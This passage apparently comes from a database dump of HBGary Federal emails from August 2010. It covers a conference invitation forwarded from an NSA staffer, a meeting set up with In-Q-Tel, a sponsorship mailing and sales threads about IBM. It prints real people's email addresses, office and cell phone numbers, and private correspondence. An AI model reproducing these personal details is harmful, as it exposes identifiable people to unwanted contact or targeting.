Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',15714,'aaron_hbgary_com/15714.html'),(9513,'2010-08-03','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007314.M702229P14101Q4368.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Invite: 13 Aug 2010 -  Join Us for a Public - Private Security Automation Collaboration Meeting','I would like to go.Sent from my iPadOn Aug 2, 2010, at 3:09 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Bartock, Paul F.\r\n[mailto:p.bartoc@radium.ncsc.mil] \r\nSent: Wednesday, July 21, 2010 4:16 PM\r\nTo: Penny Leavy\r\nSubject: Invite: 13 Aug 2010 - Join Us for a Public - Private Security\r\nAutomation Collaboration Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    &lt;image001.gif&gt;\r\n    \r\n   \r\n   \r\n    \r\n    &nbsp;&nbsp;\r\n    &lt;image002.gif&gt;&lt;image003.jpg&gt;&lt;image004.jpg&gt;&lt;image005.jpg&gt;\r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    &nbsp;\r\n    \r\n    \r\n    &nbsp;\r\n    Public\r\n    – Private Security Automation Collaboration Conference \r\n    \r\n    Join Symantec for the first public-private led conference designed to\r\n    create bridges and close the gap between industry and government sponsored\r\n    network security automation standards.&nbsp; Speakers from DHS, NIST, NSA,\r\n    and others will present in the morning session, followed by industry\r\n    presentations from the Trusted Computing Group and other industry thought\r\n    leaders driving standards initiatives. Group discussions, and capability\r\n    demonstrations will take place in the afternoon. Click\r\n    here to register now.\r\n    \r\n    During this collaborative conference, we will hear from the government\r\n    about the direction of their current and next generation security\r\n    automation initiatives, align and calibrate alongside with industry\r\n    initiatives in areas such as cloud computing and network connect standards.\r\n    \r\n    Join us on August 13th:\r\n    \r\n     Government Speakers\r\n     \r\n      Tony Sager (NSA)\r\n      Tim Grance (NIST)\r\n      Stephen Quinn (NIST)\r\n      Matt Coose (DHS)\r\n     \r\n     Industry – TCG &nbsp;– presentation,\r\n         discussion, and demo – TNC &amp; SCAP\r\n     Industry – Symantec/Cisco –\r\n         presentation, discussion, and demo – network device configuration\r\n         evaluation &amp; SCAP\r\n     And additional panels as well!\r\n    \r\n    \r\n     \r\n      \r\n      Time/Date: &nbsp;&nbsp;&nbsp; &nbsp;\r\n      Friday,\r\n      August 13th, 2010\r\n      10:00 am\r\n      – 04:00 pm PST\r\n      &lt;image006.gif&gt;CLICK\r\n      HERE TO REGISTER\r\n      \r\n      \r\n      Location:\r\n      Symantec\r\n      350 Ellis Street\r\n      Mountain View, CA 94043\r\n      \r\n     \r\n    \r\n    \r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    &lt;image016.png&gt;\r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    &lt;image001.gif&gt;\r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      &lt;image017.png&gt;\r\n      \r\n      \r\n      &lt;image018.png&gt;\r\n      \r\n      \r\n      &lt;image019.png&gt;\r\n      \r\n      \r\n      &lt;image018.png&gt;\r\n      \r\n      \r\n      &lt;image020.png&gt;\r\n      \r\n      \r\n      &lt;image013.gif&gt;\r\n      \r\n     \r\n    \r\n    \r\n    \r\n    &lt;image021.png&gt;\r\n    \r\n    \r\n    &nbsp;\r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n   \r\n    \r\n    &lt;image022.png&gt;\r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\nBest Regards,\r\n\r\nPaul Bartock\r\n\r\n------------------------------------------------------------------------------------\r\nPaul F. Bartock Jr \r\nVAO Transformation SPO\r\nVulnerability Analysis &amp; Operations Group (VAO/I7)\r\nInformation Assurance Directorate\r\nNational Security Agency\r\nemail : pfbart2@nsa.gov\r\nphone (410)854-9860\r\n------------------------------------------------------------------------------------\r\n\r\n&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13109,'aaron_hbgary_com/13109.html'),(9514,'2010-08-03','\"McGovern, Mark\" <MMcGovern@iqt.org>','/aaron@hbgary.com/new/1297007315.M464245P14101Q4370.eml','\"Aaron barr\" <aaron@hbgary.com>','RE: Intro','\r\n\r\n\r\n\r\n\r\nOk 0900 at Starbucks next Monday (9 Aug).&nbsp;markmc=======================Mark McGovernIn-Q-TelAccelerating Innovation for the Intelligence Community703.248.3077 &nbsp;From: Aaron barr [mailto:aaron@hbgary.com] Sent: Monday, August 02, 2010 10:53 PMTo: McGovern, MarkSubject: Re: Intro&nbsp;Great can we do monday morning?Maybe meet in the starbucks?AaronSent from my iPadOn Aug 2, 2010, at 7:59 PM, &quot;McGovern, Mark&quot; &lt;MMcGovern@iqt.org&gt; wrote:Aaron&nbsp;I’d be happy to meet you at the CIA HQ cafeteria – if that works for you.IQT spaces are intentionally all non-SCIF.&nbsp;Next week is probably best – Monday or Tues morning are both open.If either work for you let me know.&nbsp; &nbsp;markmc=======================Mark McGovernIn-Q-TelAccelerating Innovation for the Intelligence Community703.248.3077 &nbsp;From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Monday, August 02, 2010 3:30 PMTo: Jeff CastelliCc: McGovern, MarkSubject: Re: Intro&nbsp;Thanks Jeff,&nbsp;Mark,I would very much like to come in and discuss some ideas with you related to IO, Social Media, Threat Intelligence, and Incident Response and at least get your take/opinion, and then if any of them sufficiently interest you we can go from there.&nbsp;While HBGary and HBGary Federal are very close we are two separate companies and we are focused on slightly different things.&nbsp;If possible could we meet in a cleared space? &nbsp;I have a badge.&nbsp;Aaron&nbsp;On Aug 2, 2010, at 3:19 PM, Jeff Castelli wrote:Aaron, pls meet Mark McGovern, who runs the cyber practice at IQT.&nbsp; (Mark, meet Aaron Barr, CEO of HB Gary Federal.)&nbsp; Mark advises that he has met with and knows well the HB Gary founders, so he is happy to meet with you to discuss what’s unique and interesting at HB Gary Federal.&nbsp; Over to you guys to take it from here.&nbsp; Tks, Mark!&nbsp; Take care,&nbsp;Jeff&nbsp;&nbsp;VP, Director Washington OperationsPhaseOne Communications&nbsp;email:&nbsp;&nbsp;jeffcastelli@phaseone.netOffice:&nbsp;&nbsp;&nbsp;&nbsp; 571-830-6816Fax:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 571-830-6819Cell:&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; 310 612 6413&nbsp;This email is confidential and intended solely for the use of the individual or organization to whom it is addressed. &nbsp;If you are not the intended recipient of this email, you should not copy, modify, distribute, or take any action in reliance on it. &nbsp;If you have received this email in error, please notify the sender and delete this email from your system. &nbsp;Although this email has been checked for viruses and other defects, no responsibility can be accepted for any loss or damage arising from its receipt or use.&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;',8010,'aaron_hbgary_com/8010.html'),(9515,'2010-08-03','\"AFCEA NOVA\" <info@afceanova.org>','/aaron@hbgary.com/new/1297007315.M95304P14101Q4369.eml','aaron@hbgary.com','Become a 2010-2011 Table Sponsor! - Networking and Education for an Entire Year (AFCEA NOVA)','\r\n \r\n \r\n \r\n \r\nAFCEA-NOVA \r\n\r\nHaving trouble viewing this email?\r\nClick here\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\nTable\r\nSponsorships are Now Available! \r\n \r\n&nbsp; \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\nMonthly Table Holder Sponsorships are now on sale! \r\nBecome\r\na 2010-2011 Table Sponsor \r\nRead\r\nmore and sign up at www.afceanova.org/corporate \r\n \r\nNail\r\ndown your team\'s networking for the entire next year! Hands-down, the\r\nAFCEA NOVA luncheons are the best networking event in town for the\r\ndefense and intelligence\r\ncommunitiesBenefits of AFCEA NOVA Table Sponsors \r\nA reserved table and seating for your employees\r\nevery month at all 10 AFCEA NOVA membership luncheons.&nbsp;A guaranteed seat to hear the most relevant military\r\nflag\r\nofficers &amp; SES executives brief on the programs and\r\nopportunities they oversee.Your corporate logo on our presentation screen each\r\nmonth showing your support for the local defense community.All\r\nattendees will know you are AFCEA NOVA\'s partner as your company&#8217;s\r\nsupport will be recognized on a flyer at every chair at the\r\nLuncheon&nbsp;Your support recognized&nbsp;on a flyer at every chair at the\r\nLuncheon. All attendees will know you are AFCEA NOVA\'s partner.Your support listed on dozens of emails broadcast to the\r\nentire AFCEA NOVA database of over 14,000 local IT professionals.Special acknowledgement at the monthly luncheons, thanking\r\nyou\r\npublicly for your support.An invitation to the exclusive AFCEA NOVA Executive\r\nRound Table, (only available to our Corporate Table Holders) \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n  \r\n \r\nCorporate Table Sponsorship Prices:\r\n \r\nSame great price - suitable for companies of all sizes\r\nand stripes. \r\nFull Table (8 seats, 10 luncheons) \r\nJust $3,500 for an\r\nentire year of lunches  \r\n \r\nHalf Table (4 seats, 10 luncheons)  \r\nJust $1,750 for an\r\nentire year of lunches \r\n \r\n \r\nRegister\r\nYour Table Now  \r\nRead\r\nmore and sign up at www.afceanova.org/corporate \r\nCorporate Table Holders are the&nbsp;critical to our chapter\'s success, this and every year.&nbsp;And we won\'t forget\r\nit! With your help AFCEA NOVA\r\ngave over\r\n$300,000 last year in scholarships and educational grants.\r\nWe welcome your company\'s participation in this\r\nimportant work\r\nto\r\nstrengthen the local defense community &amp; provide educational\r\nopportunities to deserving students. \r\n&nbsp; \r\n \r\npurus odio-->  \r\n \r\n \r\n \r\nAFCEA NOVA\'s first luncheon in our 2010-2011 luncheon\r\nseries\r\nis\r\nscheduled for September 10th, 2010.  \r\nWith great speakers and record-breaking attendance year after year, this is an opportunity you don\'t want to pass up. \r\nRead\r\nmore and sign up at  \r\nwww.afceanova.org/corporate \r\nSome of last year\'s speakers: \r\nGeneral George W. Casey, Jr. \r\nChief of Staff, US\r\nARMY \r\nLt Gen William T. Lord \r\nChief of\r\nWarfighting\r\nIntegration and CIO,\r\nOffice of the Secretary of the Air Force \r\nLt Gen Jeffery Sorenson \r\nG-6 / CIO US Army \r\nMr. David Wennergren \r\nDeputy Chief\r\nInformation\r\nOfficer/Deputy\r\nAssistant Secretary of Defense for Information Management and Technology \r\nMajor General Steve Smith \r\nCYBERCOM \r\nMajor General George Allen \r\nDirector Command,\r\nControl, Communications,\r\nand Computers (C4), and Chief Information Officer (CIO) for the United\r\nStates Marine Corps  \r\nMajor General Susan S. Lawrence \r\nCommanding\r\nGeneral, U.\r\nS. Army Network Enterprise Technology Command/9th Signal\r\nCommand (Army) and ARSTRAT deputy for NETOPS  \r\nMajor General Ronnie D. Hawkins, Jr. (USAF) \r\nVice Director DISA \r\n \r\nMs. Elizabeth McGrath \r\nAssistant Deputy\r\nChief\r\nManagement Officer,\r\nDepartment of Defense \r\nMr. David M. Van Buren \r\nAssistant\r\nSecretary of\r\nthe Air Force for\r\nAcquisition \r\nBrigadier General N. Lee S. Price \r\nProgram Executive\r\nOfficer for\r\nCommand, Control, Communications US ARMY  \r\nMr. John Garing \r\nDirector,\r\nStrategic\r\nPlanning and Information DISA \r\nMr. Riley Repko \r\nSenior Advisor ,\r\nCYBER\r\nOperations &amp;\r\nTransformation , DCS Operations , USAF  \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\nForward email\r\n\r\n\r\n\r\nThis email was sent to aaron@hbgary.com by info@afceanova.org.\r\nUpdate Profile/Email Address | Instant removal with SafeUnsubscribe&trade; | Privacy Policy.\r\n\r\nEmail Marketing by\r\n\r\n\r\nAFCEA NOVA | 400 North Washington St | Ste 300 | Alexandria | VA | 22314\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n',8400,'aaron_hbgary_com/8400.html'),(9516,'2010-08-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007317.M752182P14101Q4371.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','L-3','This guy is an old navy boss of mine.  He wants me to come in and help him build his cyber r&d facility.  Aren\'t we doing something with l3.  Can I help?\r\n\r\nAaron\r\n\r\n',11057,'aaron_hbgary_com/11057.html'),(9517,'2010-08-03','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007318.M174657P14101Q4372.eml','\"Rocco Fasciani\" <rocco@hbgary.com>,\"Rocco Fasciani\" <rocco@hbgary.com>,','IBM Linda Metz speaking at GFIRST','Rocco\r\n \r\nLinda Metz is the boss for Dave Merrill and Alan Mitchell -- she is CISO equivalent they say\r\nhttp://www.evanta.com/details_popup.php?cmd=speaker&amp;id=4080\r\n \r\nI will look her up at GFIRST.  This is great!\r\n \r\nMaria\r\n \r\n---------- Forwarded message ----------From: Alan Mitchell &lt;amitch@us.ibm.com&gt;Date: Tue, Aug 3, 2010 at 6:12 AM\r\nSubject: Re: HBGary Contact informationTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\n\r\nMaria I will not be at GFIRST but my boss Linda Betz will be a keynote speaker. I will have to catch you another time. Thanks-Alan \r\nAlan Mitchell, CISSP® #43156, IBM Senior Technical Staff Member,Chief Information Security Office-IBM CIONSA-IAM,ITIL,LCPIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS720.396.3244 TL 938.3244&quot;By all means let&#39;s be open-minded, but not so open-minded that our brains drop out&quot; -Richard DawkinsMaria Lucas ---08/03/2010 01:03:28 AM---Alan HBGary will be at the GFIRST conference in San Antonio week of August 16th.\r\n\r\n\r\n\r\n\r\nFrom:\r\nMaria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\nTo:\r\nAlan Mitchell/Austin/IBM@IBMUS\r\n\r\nCc:\r\nRocco Fasciani &lt;rocco@hbgary.com&gt;, David P Merrill/Poughkeepsie/IBM@IBMUS, Joe Pizzo &lt;joe@hbgary.com&gt;\r\n\r\n\r\nDate:\r\n08/03/2010 01:03 AM\r\n\r\nSubject:\r\nRe: HBGary Contact information\r\n\r\n\r\n\r\n\r\nAlan HBGary will be at the GFIRST conference in San Antonio week of August 16th.  We&#39;ll have good representation at the conference if you want to stop by...  I&#39;ll be there :)\r\n MariaOn Mon, Aug 2, 2010 at 4:47 PM, Alan Mitchell &lt;amitch@us.ibm.com&gt; wrote: \r\nRocco, here is my contact information as well. I have entered your contact information as my point of contact for procurement to do their magic and get the CDA in place I have asked for them to expedite as we hope to meet with your CEO in NY next week Thursday. Dave Merrill who is also on copy will be your point of contact in Somers,NY. My office is out of Austin but Dave and I report to the CISO for IBM. I will not attend in person but Dave and our CISO will be in NY for the meetings.\r\nDave&#39;s contact information below as wellDavid P Merrill, CISA© Senior Technical Staff MemberChief Information Security Office - IBM CIOEmail: Dave_Merrill@us.ibm.com\r\nOffice: (877) 656-5630 (T/L) 349-0887 Alan Mitchell, CISSP® #43156, IBM Senior Technical Staff Member,Chief Information Security Office-IBM CIONSA-IAM,ITIL,LCPIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS720.396.3244 TL 938.3244&quot;By all means let&#39;s be open-minded, but not so open-minded that our brains drop out&quot; -Richard DawkinsRocco Fasciani ---08/02/2010 06:11:10 PM---Hi Maria, Thanks, my contact information is indicated below.\r\n\r\n\r\n\r\n\r\nFrom:\r\nRocco Fasciani &lt;rocco@hbgary.com&gt;\r\n\r\n\r\nTo:\r\nMaria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\nCc:\r\nAlan Mitchell/Austin/IBM@IBMUS, David P Merrill/Poughkeepsie/IBM@IBMUS, Joe Pizzo &lt;joe@hbgary.com&gt;\r\n\r\n\r\nDate:\r\n08/02/2010 06:11 PM\r\n\r\nSubject:\r\nRe: HBGary Contact information\r\n\r\nHi Maria, Thanks, my contact information is indicated below.On Mon, Aug 2, 2010 at 6:35 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote: \r\n\r\nHi RoccoAlan Mitchell is working with Dave Merrill to setup the meeting with IBM next Thursday.  Can you send your contact information to Alan.  He will be forwarding an NDA and vendor information.  Once that is place you can work with Alan on a detailed agenda.\r\n Right now we know that the Agenda includes an Active Defense demonstration and to see how it is used for Enterprise Incident Response engagements.  IBM purchased BigFix so how the agent can be pushed out with BigFix is great to know.  How we compete and complement competing products would be great too. It is likely that after the presentation, the group will want to test the software.\r\n Maria---------- Forwarded message ----------From: Alan Mitchell &lt;amitch@us.ibm.com&gt;\r\nDate: Mon, Aug 2, 2010 at 2:05 PMSubject: Contact informationTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\nCc: David P Merrill &lt;Dave_Merrill@us.ibm.com&gt;\r\nMaria,Thanks for taking the time to talk with me today. Could you please forward me Rocco&#39;s (sp?) contact information and give him a heads up I will be listing him as our POC for procurement to put the CDA in place. Look forward to working with HBgary and learning more about your products. \r\nKind Regards, AlanAlan Mitchell, CISSP® #43156, IBM Senior Technical Staff Member,Chief Information Security Office-IBM CIONSA-IAM,ITIL,LCPIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS720.396.3244 TL 938.3244&quot;By all means let&#39;s be open-minded, but not so open-minded that our brains drop out&quot; -Richard Dawkins\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Regards,Rocco FascianiRegional Sales DirectorHB Gary, Inc.office 908 766 2705cell 201 715 8539Rocco@HBGary.com\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n   \r\n\r\n\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',8169,'aaron_hbgary_com/8169.html'),(9518,'2010-08-03','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007318.M888699P14101Q4373.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Rocco Fasciani\" <rocco@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','RE: IBM Linda Metz speaking at GFIRST','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSee if you can get a 20 minute meeting or a coffee or something\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Tuesday, August 03, 2010 7:02 AM\r\nTo: Rocco Fasciani\r\nCc: Aaron Barr; Penny C. Hoglund\r\nSubject: IBM Linda Metz speaking at GFIRST\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nRocco\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLinda Metz is the boss for Dave Merrill and Alan Mitchell --\r\nshe is CISO equivalent they say\r\n\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.evanta.com/details_popup.php?cmd=speaker&amp;id=4080\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI will look her up at GFIRST.&nbsp; This is great!\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n---------- Forwarded message\r\n----------\r\nFrom: Alan Mitchell &lt;amitch@us.ibm.com&gt;\r\nDate: Tue, Aug 3, 2010 at 6:12 AM\r\nSubject: Re: HBGary Contact information\r\nTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nMaria I will not be at GFIRST but my boss Linda Betz will be a keynote\r\nspeaker. I will have to catch you another time. Thanks-Alan \r\n\r\n\r\n\r\n\r\n\r\nAlan Mitchell, CISSP&reg; #43156, \r\nIBM Senior Technical Staff Member,\r\nChief Information Security Office-IBM CIO\r\n\r\nNSA-IAM,ITIL,LCP\r\nIBM Corporation amitch@us.ibm.com\r\nAlan Mitchell/Austin/IBM@IBMUS\r\n720.396.3244 TL 938.3244\r\n\r\n&quot;By all means let\'s be open-minded, but not so open-minded that our brains\r\ndrop out&quot; -Richard Dawkins\r\n\r\n\r\n\r\nMaria Lucas ---08/03/2010 01:03:28 AM---Alan HBGary will\r\nbe at the GFIRST conference in San Antonio week of August 16th.\r\n\r\n\r\n \r\n  \r\n  \r\n  From:\r\n  \r\n  \r\n  \r\n  Maria Lucas &lt;maria@hbgary.com&gt;\r\n  \r\n \r\n \r\n  \r\n  \r\n  To:\r\n  \r\n  \r\n  \r\n  Alan Mitchell/Austin/IBM@IBMUS\r\n  \r\n \r\n \r\n  \r\n  \r\n  Cc:\r\n  \r\n  \r\n  \r\n  Rocco Fasciani &lt;rocco@hbgary.com&gt;,\r\n  David P Merrill/Poughkeepsie/IBM@IBMUS, Joe Pizzo &lt;joe@hbgary.com&gt;\r\n  \r\n \r\n \r\n  \r\n  \r\n  Date:\r\n  \r\n  \r\n  \r\n  08/03/2010 01:03 AM\r\n  \r\n \r\n \r\n  \r\n  \r\n  Subject:\r\n  \r\n  \r\n  \r\n  Re: HBGary Contact information\r\n  \r\n 